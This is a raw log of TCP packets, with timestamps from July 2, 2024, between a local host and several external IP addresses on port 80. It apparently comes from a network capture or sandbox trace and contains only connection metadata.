Jul 2, 2024 04:12:15.198436975 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198462963 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198472023 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198504925 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198645115 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198656082 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198673964 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198685884 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198695898 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198698997 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198705912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198719978 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198724985 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198735952 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198740005 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198755026 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198761940 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198767900 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198787928 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198788881 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198796988 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198812008 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198815107 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198826075 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198836088 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198859930 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.217211008 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.217252016 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.217282057 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.217292070 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.217328072 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.217351913 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.217386007 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.217396021 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.217415094 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.217428923 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.217432022 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.217442989 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.217458963 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.217468977 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.217478991 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.217494965 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.217502117 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.217520952 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.217535973 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:17.867748976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:17.867818117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:20.047820091 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:20.049309969 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:03.300508976 CEST	54801	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:03.305545092 CEST	80	54801	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:03.305636883 CEST	54801	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:03.305794954 CEST	54801	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:03.310547113 CEST	80	54801	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:04.010246038 CEST	80	54801	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:04.011754036 CEST	54801	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:04.102941036 CEST	54801	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:04.107978106 CEST	80	54801	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:04.332595110 CEST	80	54801	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:04.332674026 CEST	54801	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:04.336023092 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:04.340877056 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:04.342799902 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:04.342902899 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:04.351681948 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.071314096 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.071342945 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.071361065 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.071377039 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.071396112 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.071398973 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.071412086 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.071422100 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.071429968 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.071444988 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.071465015 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.071466923 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.071481943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.071490049 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.071506977 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.071526051 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.076672077 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.076741934 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.076766968 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.076809883 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.076877117 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.076925993 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.193197012 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.193223000 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.193240881 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.193288088 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.193305016 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.193315983 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.193331957 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.193372965 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.193516970 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.193531036 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.193557978 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.193567991 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.193694115 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.193722010 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.193768024 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.193784952 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.193803072 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.193849087 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.194317102 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.194365978 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.194391012 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.194407940 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.194427967 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.194446087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.194453001 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.194480896 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.194502115 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.195250988 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.195276976 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.195293903 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.195295095 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.195311069 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.195313931 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.195327997 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.195333004 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.195343971 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.195364952 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.196069956 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.196115971 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.196141958 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.196257114 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.198223114 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.198239088 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.198257923 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.198271990 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.198287010 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.198312044 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.287383080 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.287575960 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.315351009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.315387011 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.315402031 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.315426111 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.315442085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.315459013 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.315521955 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.315521955 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.315521955 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.315541983 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.315612078 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.315654039 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.315845966 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.315861940 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.315879107 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.315896034 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.315920115 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.315978050 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.315994024 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316021919 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316046953 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316178083 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316194057 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316207886 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316225052 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316234112 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316251993 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316253901 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316298962 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316390038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316435099 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316512108 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316529036 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316570044 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316596985 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316596985 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316612005 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316631079 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316642046 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316667080 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316667080 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316767931 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316783905 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316807032 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316822052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316829920 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316837072 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316853046 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316853046 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316869020 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316873074 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316884995 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316900015 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316907883 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316907883 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316916943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.316946983 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.316960096 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.317339897 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.317354918 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.317378998 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.317380905 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.317394972 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.317394972 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.317410946 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.317416906 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.317426920 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.317442894 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.317447901 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.317461014 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.317467928 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.317467928 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.317476034 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.317477942 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.317495108 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.317497015 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.317509890 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.317512989 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.317529917 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.317540884 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.318267107 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.318283081 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.318300009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.318314075 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.318315029 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.318320036 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.318332911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.318340063 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.318348885 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.318358898 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.318363905 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.318365097 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.318382978 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.318401098 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.320333958 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.320388079 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.409862041 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.409974098 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.437803984 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.437854052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.437886000 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.437889099 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.437902927 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.437916994 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.437925100 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.437930107 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.437947035 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.437948942 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.437963009 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.437966108 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.437982082 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.437984943 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.437999964 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438005924 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438016891 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438018084 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438030958 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438033104 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438050032 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438057899 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438076019 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438083887 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438673973 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438700914 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438719034 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438739061 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438744068 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438744068 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438755989 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438765049 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438771009 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438781023 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438802958 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438805103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438817978 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438821077 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438837051 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438858986 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438860893 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438884020 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438900948 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438903093 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438916922 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438922882 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438932896 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438947916 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438947916 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438956022 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438967943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438975096 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.438985109 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.438987970 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439002037 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439009905 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439018965 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439018965 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439037085 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439037085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439059019 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439065933 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439096928 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439138889 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439146042 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439162016 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439182043 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439189911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439204931 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439218044 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439224005 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439225912 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439240932 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439255953 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439256907 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439270973 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439271927 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439285040 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439312935 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439352989 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439388990 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439413071 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439429045 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439465046 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439471006 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439486027 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439502001 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439519882 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439522028 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439534903 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439563990 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439574003 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439589977 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439604998 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439606905 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439620972 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.439621925 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439637899 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.439644098 CEST	54802	80	192.168.2.5	77.91.77.81
